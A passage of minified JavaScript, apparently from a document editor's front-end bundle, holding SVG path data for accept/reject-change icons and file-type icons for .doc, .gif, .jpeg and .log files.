15.1593 15.5983 15.1593ZM16.9598 15.1593H16.612C16.4583 15.1593 16.3337 15.2926 16.3337 15.4572V18.7336C16.3337 18.8981 16.4583 19.0315 16.612 19.0315H16.9598C17.1135 19.0315 17.238 18.8981 17.238 18.7336V15.4572C17.238 15.2926 17.1135 15.1593 16.9598 15.1593ZM17.9635 15.1593H18.3113C18.465 15.1593 18.5895 15.2926 18.5895 15.4572V18.7336C18.5895 18.8981 18.465 19.0315 18.3113 19.0315H17.9635C17.8098 19.0315 17.6852 18.8981 17.6852 18.7336V15.4572C17.6852 15.2926 17.8098 15.1593 17.9635 15.1593Z",acceptSingleChange:"M17.2 20H15.6628L17.33 18.3091V19.87C17.33 19.8871 17.3266 19.904 17.3201 19.9197C17.3136 19.9355 17.304 19.9499 17.2919 19.9619C17.2799 19.974 17.2655 19.9836 17.2497 19.9901C17.234 19.9966 17.2171 20 17.2 20ZM4.13 20H14.4978L14.1823 19.6791L13.5135 18.9904L13.5123 18.9891L13.0529 18.52H5C4.87537 18.52 4.75586 18.4705 4.66766 18.3823C4.57953 18.2942 4.53003 18.1747 4.53003 18.05C4.53003 17.9253 4.57953 17.8058 4.66766 17.7177C4.75586 17.6295 4.87537 17.58 5 17.58H12.1323L11.6235 17.0604L11.6231 16.48L12.8831 15.19L13.4765 15.1896L15.0807 16.8276L17.33 14.5413V9.3H13.28C13.207 9.30976 13.133 9.30976 13.06 9.3C12.7697 9.22119 12.5113 9.05343 12.3212 8.82027C12.1311 8.58711 12.0187 8.30026 12 8V4H4.13C4.09552 4 4.06246 4.0137 4.03808 4.03808C4.0137 4.06246 4 4.09552 4 4.13V19.87C4 19.9045 4.0137 19.9375 4.03808 19.9619C4.06246 19.9863 4.09552 20 4.13 20ZM13.1 4.65L16.6 8.15C16.6212 8.17232 16.6355 8.20028 16.6412 8.23051C16.6469 8.26075 16.6437 8.29199 16.6321 8.32048C16.6205 8.34898 16.6009 8.37352 16.5757 8.39117C16.5505 8.40882 16.5208 8.41883 16.49 8.42H13.06L12.83 8.19V4.76C12.8312 4.72925 12.8412 4.6995 12.8588 4.67429C12.8765 4.64909 12.901 4.62951 12.9295 4.6179C12.958 4.6063 12.9893 4.60315 13.0195 4.60884C13.0497 4.61453 13.0777 4.62882 13.1 4.65ZM11 6.72C11.0027 6.66089 10.9937 6.60184 10.9735 6.5462C10.9534 6.49057 10.9224 6.43948 10.8825 6.39581C10.8425 6.35217 10.7944 6.3168 10.7408 6.29178C10.6871 6.26678 10.6292 6.25256 10.57 6.25H5C4.88239 6.25772 4.77252 6.31131 4.69397 6.39917C4.61542 6.48706 4.57452 6.60226 4.58002 6.72C4.57452 6.83774 4.61542 6.95294 4.69397 7.04083C4.77252 7.12869 4.88239 7.18228 5 7.19H10.6C10.7141 7.1774 10.8189 7.12173 10.8933 7.03436C10.9677 6.94702 11.0058 6.83456 11 6.72ZM11.1 8.14001H5C4.87537 8.14001 4.75586 8.18954 4.66766 8.27768C4.57953 8.36581 4.53003 8.48535 4.53003 8.61002C4.53003 8.73468 4.57953 8.85422 4.66766 8.94235C4.71558 8.99023 4.77277 9.02673 4.83496 9.05008C4.86932 9.06296 4.90521 9.07184 4.94189 9.07642C4.96106 9.0788 4.98047 9.08002 5 9.08002H11.1C11.2247 9.08002 11.3442 9.03049 11.4324 8.94235C11.5205 8.85422 11.57 8.73468 11.57 8.61002C11.57 8.48535 11.5205 8.36581 11.4324 8.27768C11.3442 8.18954 11.2247 8.14001 11.1 8.14001ZM5 11H15.45C15.5826 11 15.7098 10.9473 15.8035 10.8535C15.8973 10.7598 15.95 10.6326 15.95 10.5C15.95 10.3674 15.8973 10.2402 15.8035 10.1465C15.7098 10.0527 15.5826 10 15.45 10H5C4.86737 10 4.74023 10.0527 4.64642 10.1465C4.55267 10.2402 4.5 10.3674 4.5 10.5C4.5 10.6326 4.55267 10.7598 4.64642 10.8535C4.74023 10.9473 4.86737 11 5 11ZM5 12.86H11.1C11.2211 12.8523 11.3346 12.798 11.4166 12.7085C11.4986 12.6191 11.5428 12.5013 11.54 12.38C11.5427 12.2597 11.4982 12.1431 11.416 12.0552C11.3337 11.9673 11.2203 11.9152 11.1 11.91H5C4.94086 11.9126 4.88287 11.9268 4.82922 11.9518C4.77563 11.9768 4.72748 12.0122 4.6875 12.0558C4.65833 12.0878 4.63391 12.1237 4.61505 12.1624C4.60809 12.1767 4.60193 12.1913 4.5965 12.2062C4.58264 12.2443 4.5741 12.2841 4.57092 12.3243C4.56946 12.3428 4.56915 12.3614 4.57001 12.38C4.56451 12.5004 4.60651 12.6181 4.68689 12.7079C4.76733 12.7976 4.87976 12.8523 5 12.86ZM15.45 14.74H5C4.87537 14.74 4.75586 14.6905 4.66766 14.6023C4.57953 14.5142 4.53003 14.3947 4.53003 14.27C4.53003 14.1453 4.57953 14.0258 4.66766 13.9377C4.75586 13.8495 4.87537 13.8 5 13.8H15.45C15.5747 13.8 15.6942 13.8495 15.7823 13.9377C15.8705 14.0258 15.92 14.1453 15.92 14.27C15.92 14.3947 15.8705 14.5142 15.7823 14.6023C15.6942 14.6905 15.5747 14.74 15.45 14.74ZM11.1 16.63H5C4.87537 16.63 4.75586 16.5805 4.66766 16.4923C4.57953 16.4042 4.53003 16.2846 4.53003 16.16C4.53003 16.0353 4.57953 15.9158 4.66766 15.8276C4.75586 15.7395 4.87537 15.69 5 15.69H11.1C11.2247 15.69 11.3442 15.7395 11.4324 15.8276C11.5205 15.9158 11.57 16.0353 11.57 16.16C11.57 16.2846 11.5205 16.4042 11.4324 16.4923C11.3442 16.5805 11.2247 16.63 11.1 16.63ZM18.73 13.71L20 15.01L15.08 20L15.07 19.99L14.48 19.39L13.81 18.7L11.92 16.77L13.18 15.48L15.08 17.42L18.73 13.71Z",rejectSingleChange:"M17.0495 11.5C17.1461 11.5 17.241 11.5173 17.33 11.5501V9.3H13.28C13.207 9.30976 13.133 9.30976 13.06 9.3C12.7697 9.22119 12.5113 9.05343 12.3212 8.82027C12.1311 8.58711 12.0187 8.30026 12 8V4H4.13C4.09552 4 4.06246 4.0137 4.03808 4.03808C4.0137 4.06246 4 4.09552 4 4.13V19.87C4 19.9045 4.0137 19.9375 4.03808 19.9619C4.06246 19.9863 4.09552 20 4.13 20H13.2305C13.1075 19.8287 13.0338 19.6249 13.0205 19.4112L13.0195 19.3956V18.52H5C4.87537 18.52 4.75586 18.4705 4.66772 18.3823C4.57959 18.2942 4.53003 18.1747 4.53003 18.05C4.53003 18.0119 4.53467 17.9742 4.54358 17.9378C4.56396 17.8552 4.60657 17.7788 4.66772 17.7177C4.75586 17.6295 4.87537 17.58 5 17.58H13.0195V14.74H5C4.87537 14.74 4.75586 14.6905 4.66772 14.6023C4.57959 14.5142 4.53003 14.3947 4.53003 14.27C4.53003 14.1453 4.57959 14.0258 4.66772 13.9377C4.75586 13.8495 4.87537 13.8 5 13.8H12.8393C12.6229 13.6377 12.4998 13.3897 12.4998 13.1032C12.4997 12.8414 12.6008 12.5847 12.7513 12.3911C12.9 12.1998 13.1561 12 13.4994 12L15.2519 12C15.2928 11.8972 15.3589 11.7915 15.4649 11.6992C15.6135 11.5698 15.8041 11.499 16.0011 11.5H17.0495ZM13.1 4.65L16.6 8.15C16.6211 8.17232 16.6354 8.20028 16.6411 8.23051C16.6468 8.26075 16.6437 8.29199 16.6321 8.32048C16.6204 8.34898 16.6009 8.37352 16.5757 8.39117C16.5505 8.40882 16.5207 8.41883 16.49 8.42H13.06L12.83 8.19V4.76C12.8311 4.72925 12.8411 4.6995 12.8588 4.67429C12.8764 4.64909 12.901 4.62951 12.9295 4.6179C12.958 4.6063 12.9892 4.60315 13.0194 4.60884C13.0497 4.61453 13.0776 4.62882 13.1 4.65ZM11 6.72C11.0027 6.66089 10.9937 6.60184 10.9735 6.5462C10.9716 6.5408 10.9695 6.53543 10.9673 6.53012C10.9626 6.51852 10.9575 6.50717 10.9518 6.49603C10.9406 6.47391 10.9275 6.45273 10.9127 6.43274C10.9033 6.41992 10.8932 6.40759 10.8824 6.39581C10.8425 6.35217 10.7943 6.3168 10.7407 6.29178C10.6871 6.26678 10.629 6.25256 10.5699 6.25H5C4.88232 6.25772 4.77246 6.31131 4.69397 6.39917C4.61536 6.48706 4.57446 6.60226 4.57996 6.72C4.57715 6.7811 4.58679 6.84152 4.60767 6.8978C4.61523 6.91803 4.62415 6.93771 4.63452 6.9567C4.65088 6.98669 4.67078 7.01495 4.69397 7.04083C4.77246 7.12869 4.88232 7.18228 5 7.19H10.6C10.714 7.1774 10.8188 7.12173 10.8932 7.03436C10.922 7.00049 10.9454 6.96283 10.9629 6.92273C10.9725 6.9006 10.9805 6.87775 10.9865 6.8544C10.9933 6.82791 10.9977 6.80075 10.9995 6.77325C11.0001 6.76453 11.0004 6.75574 11.0005 6.74695C11.0006 6.73798 11.0005 6.729 11 6.72ZM11.1 8.14001H5C4.97534 8.14001 4.95081 8.14194 4.92676 8.14575C4.89587 8.15063 4.8656 8.15857 4.83643 8.1694C4.77368 8.19272 4.71606 8.2294 4.66772 8.27768C4.57959 8.36581 4.53003 8.48535 4.53003 8.61002C4.53003 8.73468 4.57959 8.85422 4.66772 8.94235C4.75586 9.03049 4.87537 9.08002 5 9.08002H11.1C11.2247 9.08002 11.3442 9.03049 11.4324 8.94235C11.4617 8.91306 11.4867 8.88028 11.5071 8.845C11.5349 8.79691 11.554 8.74414 11.5634 8.68915C11.5677 8.66318 11.5701 8.63672 11.5701 8.61002C11.5701 8.48535 11.5205 8.36581 11.4324 8.27768C11.3929 8.23831 11.3474 8.20663 11.2979 8.18365C11.2365 8.15518 11.1689 8.14001 11.1 8.14001ZM5 11H15.45C15.5826 11 15.7098 10.9473 15.8036 10.8535C15.8973 10.7598 15.95 10.6326 15.95 10.5C15.95 10.3674 15.8973 10.2402 15.8036 10.1465C15.7098 10.0527 15.5826 10 15.45 10H5C4.86743 10 4.74023 10.0527 4.64648 10.1465C4.55273 10.2402 4.5 10.3674 4.5 10.5C4.5 10.6326 4.55273 10.7598 4.64648 10.8535C4.74023 10.9473 4.86743 11 5 11ZM5 12.86H11.1C11.2211 12.8523 11.3346 12.798 11.4166 12.7085C11.4987 12.6191 11.5428 12.5013 11.54 12.38C11.5427 12.2597 11.4982 12.1431 11.4159 12.0552C11.3336 11.9673 11.2202 11.9152 11.1 11.91H5C4.94092 11.9126 4.88281 11.9268 4.82922 11.9518C4.77563 11.9768 4.72742 12.0122 4.6875 12.0558C4.64758 12.0995 4.6167 12.1506 4.59644 12.2062C4.58899 12.2266 4.58313 12.2475 4.57874 12.2687C4.57129 12.3052 4.56824 12.3426 4.56995 12.38C4.56445 12.5004 4.60645 12.6181 4.68689 12.7079C4.76733 12.7976 4.87976 12.8523 5 12.86ZM11.1 16.63H5C4.87537 16.63 4.75586 16.5805 4.66772 16.4923C4.57959 16.4042 4.53003 16.2846 4.53003 16.16C4.53003 16.0353 4.57959 15.9158 4.66772 15.8276C4.75586 15.7395 4.87537 15.69 5 15.69H11.1C11.2247 15.69 11.3442 15.7395 11.4324 15.8276C11.5205 15.9158 11.5701 16.0353 11.5701 16.16C11.5701 16.2846 11.5205 16.4042 11.4324 16.4923C11.3442 16.5805 11.2247 16.63 11.1 16.63ZM19.59 12.53H17.36V12.3C17.3574 12.2195 17.3236 12.1432 17.2657 12.0872C17.2078 12.0313 17.1305 12 17.05 12H16C15.9242 11.9994 15.8509 12.0265 15.7938 12.0762C15.7367 12.126 15.6997 12.1949 15.69 12.27V12.5H13.44C13.3768 12.4994 13.3142 12.5125 13.2565 12.5382C13.1988 12.564 13.1473 12.6019 13.1055 12.6493C13.0638 12.6968 13.0327 12.7526 13.0145 12.8132C12.9963 12.8737 12.9913 12.9374 13 13V13.67C13 13.6871 13.0033 13.704 13.0099 13.7198C13.0164 13.7355 13.026 13.7499 13.038 13.7619C13.0501 13.774 13.0644 13.7836 13.0802 13.7901C13.096 13.7966 13.1129 13.8 13.13 13.8H19.84C19.8611 13.8054 19.8834 13.8054 19.9045 13.8C19.9257 13.7946 19.9452 13.7839 19.9611 13.7689C19.9771 13.754 19.989 13.7352 19.9958 13.7144C20.0026 13.6937 20.004 13.6715 20 13.65V13C20.0028 12.8866 19.9617 12.7765 19.8853 12.6927C19.809 12.6088 19.7031 12.5577 19.59 12.55V12.53ZM13.52 14V19.38C13.5303 19.5454 13.6054 19.7 13.7289 19.8105C13.8525 19.9209 14.0145 19.9782 14.18 19.97H18.84C19.0055 19.9782 19.1676 19.9209 19.2911 19.8105C19.4146 19.7 19.4897 19.5454 19.5 19.38V14H13.52ZM15.52 18.67C15.52 18.7522 15.4874 18.8311 15.4292 18.8892C15.3711 18.9473 15.2922 18.98 15.21 18.98H14.83C14.7478 18.98 14.669 18.9473 14.6108 18.8892C14.5527 18.8311 14.52 18.7522 14.52 18.67V15.33C14.52 15.2893 14.528 15.249 14.5436 15.2114C14.5592 15.1738 14.582 15.1396 14.6108 15.1108C14.6396 15.082 14.6738 15.0592 14.7114 15.0436C14.749 15.028 14.7893 15.02 14.83 15.02H15.21C15.2507 15.02 15.291 15.028 15.3287 15.0436C15.3663 15.0592 15.4004 15.082 15.4292 15.1108C15.458 15.1396 15.4808 15.1738 15.4964 15.2114C15.512 15.249 15.52 15.2893 15.52 15.33V18.67ZM17.01 18.67C17.01 18.7522 16.9774 18.8311 16.9192 18.8892C16.8611 18.9473 16.7822 18.98 16.7 18.98H16.32C16.2798 18.98 16.2399 18.9719 16.2029 18.9562C16.1658 18.9405 16.1323 18.9176 16.1043 18.8886C16.0763 18.8597 16.0544 18.8254 16.0399 18.7879C16.0254 18.7503 16.0187 18.7102 16.02 18.67V15.33C16.0187 15.2898 16.0254 15.2497 16.0399 15.2121C16.0544 15.1746 16.0763 15.1403 16.1043 15.1114C16.1323 15.0824 16.1658 15.0595 16.2029 15.0438C16.2399 15.0281 16.2798 15.02 16.32 15.02H16.7C16.7407 15.02 16.781 15.028 16.8187 15.0436C16.8563 15.0592 16.8904 15.082 16.9192 15.1108C16.948 15.1396 16.9708 15.1738 16.9864 15.2114C17.002 15.249 17.01 15.2893 17.01 15.33V18.67ZM18.51 18.67C18.51 18.7107 18.502 18.751 18.4864 18.7886C18.4708 18.8262 18.448 18.8604 18.4192 18.8892C18.3904 18.918 18.3563 18.9408 18.3187 18.9564C18.281 18.972 18.2407 18.98 18.2 18.98H17.82C17.7378 18.98 17.659 18.9473 17.6008 18.8892C17.5427 18.8311 17.51 18.7522 17.51 18.67V15.33C17.51 15.2893 17.518 15.249 17.5336 15.2114C17.5492 15.1738 17.572 15.1396 17.6008 15.1108C17.6296 15.082 17.6638 15.0592 17.7014 15.0436C17.739 15.028 17.7793 15.02 17.82 15.02H18.2C18.2407 15.02 18.281 15.028 18.3187 15.0436C18.3563 15.0592 18.3904 15.082 18.4192 15.1108C18.448 15.1396 18.4708 15.1738 18.4864 15.2114C18.502 15.249 18.51 15.2893 18.51 15.33V18.67Z"},kt.FILEICONS={docIcon:{extension:".doc",path:'<g id="surface1">\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(99.607843%,99.607843%,99.607843%);fill-opacity:1;" d="M 10.578125 25 L 39.421875 25 C 41.53125 25 43.527344 25.492188 45.3125 26.367188 L 45.3125 15.367188 C 45.3125 13.90625 44.976562 13.097656 43.984375 12.109375 C 42.996094 11.121094 35.105469 3.226562 34.503906 2.628906 C 33.90625 2.027344 33.070312 1.5625 31.617188 1.5625 L 6.5625 1.5625 C 5.527344 1.5625 4.6875 2.402344 4.6875 3.4375 L 4.6875 26.367188 C 6.476562 25.492188 8.472656 25 10.578125 25 "/>\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 34.375 4.710938 L 42.164062 12.5 L 34.515625 12.5 C 34.464844 12.46875 34.414062 12.425781 34.375 12.390625 Z M 6.25 25.722656 L 6.25 3.4375 C 6.25 3.265625 6.390625 3.125 6.5625 3.125 L 31.25 3.125 L 31.25 12.5 C 31.25 13.980469 32.496094 15.210938 33.742188 15.539062 C 33.902344 15.59375 34.074219 15.625 34.257812 15.625 L 43.75 15.625 L 43.75 25.722656 C 44.859375 26.105469 45.910156 26.625 46.875 27.269531 L 46.875 15.363281 C 46.875 13.511719 46.375 12.289062 45.089844 11.003906 L 35.609375 1.523438 C 34.582031 0.496094 33.273438 0 31.617188 0 L 6.5625 0 C 4.667969 0 3.125 1.542969 3.125 3.4375 L 3.125 27.269531 C 4.089844 26.625 5.140625 26.105469 6.25 25.722656 Z M 6.25 25.722656 "/>\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 8.621094 28.125 C 3.859375 28.125 0 31.984375 0 36.742188 L 0 41.378906 C 0 46.140625 3.859375 50 8.621094 50 L 41.378906 50 C 46.140625 50 50 46.140625 50 41.382812 L 50 36.746094 C 50 31.984375 46.140625 28.125 41.382812 28.125 Z M 8.621094 28.125 "/>\n <path style=" stroke:none;fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;" d="M 9.617188 46.875 C 13.234375 46.875 16.160156 43.929688 16.160156 40.292969 C 16.160156 36.695312 13.234375 33.75 9.617188 33.75 L 7.402344 33.75 C 6.820312 33.75 6.371094 34.199219 6.371094 34.78125 L 6.371094 45.84375 C 6.371094 46.335938 6.714844 46.757812 7.191406 46.855469 L 7.402344 46.875 Z M 9.617188 44.792969 L 8.453125 44.792969 L 8.453125 35.832031 L 9.617188 35.832031 C 12.089844 35.832031 14.078125 37.835938 14.078125 40.292969 C 14.078125 42.789062 12.089844 44.773438 9.617188 44.792969 Z M 24.816406 46.875 C 26.539062 46.875 28.191406 46.085938 29.296875 44.867188 C 30.460938 43.648438 31.191406 41.980469 31.191406 40.125 C 31.191406 38.269531 30.460938 36.617188 29.296875 35.382812 C 28.191406 34.144531 26.539062 33.375 24.816406 33.375 C 23.015625 33.375 21.367188 34.144531 20.222656 35.382812 C 19.058594 36.617188 18.367188 38.269531 18.367188 40.125 C 18.367188 41.980469 19.058594 43.648438 20.222656 44.867188 C 21.367188 46.085938 23.015625 46.875 24.816406 46.875 Z M 24.816406 44.738281 C 23.617188 44.738281 22.566406 44.230469 21.777344 43.386719 C 20.992188 42.582031 20.503906 41.398438 20.503906 40.125 C 20.503906 38.851562 20.992188 37.667969 21.777344 36.84375 C 22.566406 36 23.617188 35.511719 24.816406 35.511719 C 25.941406 35.511719 26.992188 36 27.777344 36.84375 C 28.546875 37.667969 29.054688 38.851562 29.054688 40.125 C 29.054688 41.398438 28.546875 42.582031 27.777344 43.386719 C 26.992188 44.230469 25.941406 44.738281 24.816406 44.738281 Z M 39.996094 46.875 C 41.648438 46.875 43.148438 46.332031 44.328125 45.414062 C 44.777344 45.054688 44.851562 44.382812 44.515625 43.914062 C 44.140625 43.460938 43.445312 43.386719 43.015625 43.707031 C 42.171875 44.382812 41.160156 44.738281 39.996094 44.738281 C 38.703125 44.738281 37.503906 44.210938 36.621094 43.386719 C 35.777344 42.5625 35.253906 41.398438 35.253906 40.125 C 35.253906 38.851562 35.777344 37.726562 36.621094 36.863281 C 37.503906 36.039062 38.703125 35.511719 39.996094 35.511719 C 41.160156 35.511719 42.191406 35.867188 43.015625 36.542969 C 43.445312 36.882812 44.140625 36.804688 44.515625 36.335938 C 44.851562 35.867188 44.777344 35.210938 44.328125 34.835938 C 43.148438 33.917969 41.648438 33.375 39.996094 33.375 C 36.246094 33.394531 33.132812 36.414062 33.117188 40.125 C 33.132812 43.855469 36.246094 46.875 39.996094 46.875 Z M 39.996094 46.875 "/>\n </g>'},gifIcon:{extension:".gif",path:'<g id="surface1">\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(99.607843%,99.607843%,99.607843%);fill-opacity:1;" d="M 10.578125 25 L 39.421875 25 C 41.53125 25 43.527344 25.492188 45.3125 26.367188 L 45.3125 15.367188 C 45.3125 13.90625 44.976562 13.097656 43.984375 12.109375 C 42.996094 11.121094 35.105469 3.226562 34.503906 2.628906 C 33.90625 2.027344 33.070312 1.5625 31.617188 1.5625 L 6.5625 1.5625 C 5.527344 1.5625 4.6875 2.402344 4.6875 3.4375 L 4.6875 26.367188 C 6.476562 25.492188 8.472656 25 10.578125 25 "/>\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 34.375 4.710938 L 42.164062 12.5 L 34.515625 12.5 C 34.464844 12.46875 34.414062 12.425781 34.375 12.390625 Z M 6.25 25.722656 L 6.25 3.4375 C 6.25 3.265625 6.390625 3.125 6.5625 3.125 L 31.25 3.125 L 31.25 12.5 C 31.25 13.980469 32.496094 15.210938 33.742188 15.539062 C 33.902344 15.59375 34.074219 15.625 34.257812 15.625 L 43.75 15.625 L 43.75 25.722656 C 44.859375 26.105469 45.910156 26.625 46.875 27.269531 L 46.875 15.363281 C 46.875 13.511719 46.375 12.289062 45.089844 11.003906 L 35.609375 1.523438 C 34.582031 0.496094 33.273438 0 31.617188 0 L 6.5625 0 C 4.667969 0 3.125 1.542969 3.125 3.4375 L 3.125 27.269531 C 4.089844 26.625 5.140625 26.105469 6.25 25.722656 Z M 6.25 25.722656 "/>\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 8.621094 28.125 C 3.859375 28.125 0 31.984375 0 36.742188 L 0 41.378906 C 0 46.140625 3.859375 50 8.621094 50 L 41.378906 50 C 46.140625 50 50 46.140625 50 41.382812 L 50 36.746094 C 50 31.984375 46.140625 28.125 41.382812 28.125 Z M 8.621094 28.125 "/>\n <path style=" stroke:none;fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;" d="M 17.394531 46.875 C 18.988281 46.875 20.46875 46.332031 21.648438 45.414062 C 21.835938 45.28125 21.949219 45.132812 22.003906 44.960938 L 22.003906 44.945312 C 22.023438 44.90625 22.023438 44.886719 22.042969 44.851562 C 22.0625 44.738281 22.097656 44.664062 22.097656 44.53125 L 22.097656 40.386719 C 22.097656 39.789062 21.613281 39.335938 21.011719 39.335938 L 17.28125 39.335938 C 16.699219 39.335938 16.210938 39.789062 16.210938 40.386719 C 16.210938 40.96875 16.699219 41.457031 17.28125 41.457031 L 19.960938 41.457031 L 19.960938 44.023438 C 19.210938 44.457031 18.332031 44.738281 17.394531 44.738281 C 16.042969 44.738281 14.863281 44.230469 14.019531 43.367188 C 13.136719 42.523438 12.613281 41.382812 12.613281 40.144531 C 12.613281 38.867188 13.136719 37.726562 14.019531 36.882812 C 14.863281 36.019531 16.042969 35.511719 17.394531 35.511719 C 18.519531 35.511719 19.550781 35.90625 20.355469 36.523438 C 20.824219 36.898438 21.519531 36.804688 21.875 36.355469 C 22.230469 35.886719 22.15625 35.195312 21.667969 34.835938 C 20.503906 33.917969 18.988281 33.375 17.394531 33.375 C 13.585938 33.375 10.472656 36.375 10.472656 40.144531 C 10.472656 43.894531 13.585938 46.875 17.394531 46.875 Z M 26.945312 46.875 C 27.507812 46.875 27.996094 46.425781 27.996094 45.84375 L 27.996094 34.78125 C 27.996094 34.199219 27.507812 33.75 26.945312 33.75 C 26.363281 33.75 25.914062 34.199219 25.914062 34.78125 L 25.914062 45.84375 C 25.914062 46.425781 26.363281 46.875 26.945312 46.875 Z M 33.066406 46.875 C 33.648438 46.875 34.117188 46.40625 34.117188 45.84375 L 34.117188 41.34375 L 38.488281 41.34375 C 39.050781 41.34375 39.519531 40.875 39.519531 40.292969 C 39.519531 39.75 39.050781 39.261719 38.488281 39.261719 L 34.117188 39.261719 L 34.117188 35.832031 L 39.199219 35.832031 C 39.742188 35.832031 40.230469 35.363281 40.230469 34.78125 C 40.230469 34.21875 39.742188 33.75 39.199219 33.75 L 33.066406 33.75 C 32.488281 33.75 32.035156 34.21875 32.035156 34.78125 L 32.035156 45.84375 C 32.035156 46.40625 32.488281 46.875 33.066406 46.875 Z M 33.066406 46.875 "/>\n </g>'},jpegIcon:{extension:".jpeg",path:'<g id="surface1">\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(99.607843%,99.607843%,99.607843%);fill-opacity:1;" d="M 10.578125 25 L 39.421875 25 C 41.53125 25 43.527344 25.492188 45.3125 26.367188 L 45.3125 15.367188 C 45.3125 13.90625 44.976562 13.097656 43.984375 12.109375 C 42.996094 11.121094 35.105469 3.226562 34.503906 2.628906 C 33.90625 2.027344 33.070312 1.5625 31.617188 1.5625 L 6.5625 1.5625 C 5.527344 1.5625 4.6875 2.402344 4.6875 3.4375 L 4.6875 26.367188 C 6.476562 25.492188 8.472656 25 10.578125 25 "/>\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 34.375 4.710938 L 42.164062 12.5 L 34.515625 12.5 C 34.464844 12.46875 34.414062 12.425781 34.375 12.390625 Z M 6.25 25.722656 L 6.25 3.4375 C 6.25 3.265625 6.390625 3.125 6.5625 3.125 L 31.25 3.125 L 31.25 12.5 C 31.25 13.980469 32.496094 15.210938 33.742188 15.539062 C 33.902344 15.59375 34.074219 15.625 34.257812 15.625 L 43.75 15.625 L 43.75 25.722656 C 44.859375 26.105469 45.910156 26.625 46.875 27.269531 L 46.875 15.363281 C 46.875 13.511719 46.375 12.289062 45.089844 11.003906 L 35.609375 1.523438 C 34.582031 0.496094 33.273438 0 31.617188 0 L 6.5625 0 C 4.667969 0 3.125 1.542969 3.125 3.4375 L 3.125 27.269531 C 4.089844 26.625 5.140625 26.105469 6.25 25.722656 Z M 6.25 25.722656 "/>\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 8.621094 28.125 C 3.859375 28.125 0 31.984375 0 36.742188 L 0 41.378906 C 0 46.140625 3.859375 50 8.621094 50 L 41.378906 50 C 46.140625 50 50 46.140625 50 41.382812 L 50 36.746094 C 50 31.984375 46.140625 28.125 41.382812 28.125 Z M 8.621094 28.125 "/>\n <path style=" stroke:none;fill-rule:nonzero;fill:rgb(100%,100%,100%);fill-opacity:1;" d="M 9 43.75 C 11.140625 43.75 12.890625 42.015625 12.890625 39.875 L 12.890625 33.671875 C 12.890625 33.1875 12.5 32.8125 12.03125 32.8125 C 11.546875 32.8125 11.15625 33.1875 11.15625 33.671875 L 11.15625 39.875 C 11.15625 41.046875 10.1875 42.015625 9 42.015625 C 8.046875 42.015625 7.234375 41.390625 6.953125 40.53125 C 6.8125 40.078125 6.328125 39.828125 5.859375 39.984375 C 5.421875 40.109375 5.15625 40.59375 5.3125 41.0625 C 5.8125 42.625 7.28125 43.75 9 43.75 Z M 15.640625 43.75 C 16.125 43.75 16.515625 43.359375 16.515625 42.890625 L 16.515625 39.5 L 18.4375 39.5 C 20.296875 39.5 21.796875 38 21.796875 36.171875 C 21.796875 34.3125 20.296875 32.8125 18.4375 32.8125 L 15.640625 32.8125 C 15.171875 32.8125 14.78125 33.1875 14.78125 33.671875 L 14.78125 42.890625 C 14.78125 43.359375 15.171875 43.75 15.640625 43.75 Z M 18.4375 37.765625 L 16.515625 37.765625 L 16.515625 34.546875 L 18.4375 34.546875 C 19.34375 34.546875 20.046875 35.265625 20.0625 36.171875 C 20.046875 37.046875 19.34375 37.765625 18.4375 37.765625 Z M 29.234375 43.75 C 29.6875 43.75 30.09375 43.359375 30.09375 42.890625 C 30.09375 42.40625 29.6875 42.015625 29.234375 42.015625 L 25 42.015625 L 25 39.140625 L 28.640625 39.140625 C 29.109375 39.140625 29.5 38.75 29.5 38.265625 C 29.5 37.8125 29.109375 37.40625 28.640625 37.40625 L 25 37.40625 L 25 34.546875 L 29.234375 34.546875 C 29.6875 34.546875 30.09375 34.15625 30.09375 33.671875 C 30.09375 33.1875 29.6875 32.8125 29.234375 32.8125 L 24.125 32.8125 C 23.640625 32.8125 23.265625 33.1875 23.265625 33.671875 L 23.265625 42.890625 C 23.265625 43.359375 23.640625 43.75 24.125 43.75 C 24.125 43.75 24.140625 43.734375 24.140625 43.734375 C 24.140625 43.734375 24.140625 43.75 24.171875 43.75 Z M 37.1875 43.75 C 38.515625 43.75 39.75 43.296875 40.734375 42.53125 C 40.890625 42.421875 40.984375 42.296875 41.03125 42.15625 L 41.03125 42.140625 C 41.046875 42.109375 41.046875 42.09375 41.0625 42.0625 C 41.078125 41.96875 41.109375 41.90625 41.109375 41.796875 L 41.109375 38.34375 C 41.109375 37.914062 40.8125 37.578125 40.410156 37.492188 L 40.203125 37.46875 L 37.09375 37.46875 C 36.609375 37.46875 36.203125 37.84375 36.203125 38.34375 C 36.203125 38.828125 36.609375 39.234375 37.09375 39.234375 L 39.328125 39.234375 L 39.328125 41.375 C 38.703125 41.734375 37.96875 41.96875 37.1875 41.96875 C 36.0625 41.96875 35.078125 41.546875 34.375 40.828125 C 33.640625 40.125 33.203125 39.171875 33.203125 38.140625 C 33.203125 37.078125 33.640625 36.125 34.375 35.421875 C 35.078125 34.703125 36.0625 34.28125 37.1875 34.28125 C 38.125 34.28125 38.984375 34.609375 39.65625 35.125 C 40.046875 35.4375 40.625 35.359375 40.921875 34.984375 C 41.21875 34.59375 41.15625 34.015625 40.75 33.71875 C 39.78125 32.953125 38.515625 32.5 37.1875 32.5 C 34.015625 32.5 31.421875 35 31.421875 38.140625 C 31.421875 41.265625 34.015625 43.75 37.1875 43.75 Z M 37.1875 43.75 "/>\n </g>'},logIcon:{extension:".log",path:'<g id="surface1">\n <path style=" stroke:none;fill-rule:evenodd;fill:rgb(99.607843%,99.607843%,99.607843%);fill-opacity:1;" d="M 10.578125 25 L 39.421875 25 C 41.53125 25 43.527344 25.492188 45.3125 26.367188 L 45.3125 15.367188 C 45.3125 13.90625 44.976562 13.097656 43.984375 12.109375 C 42.996094 11.121094 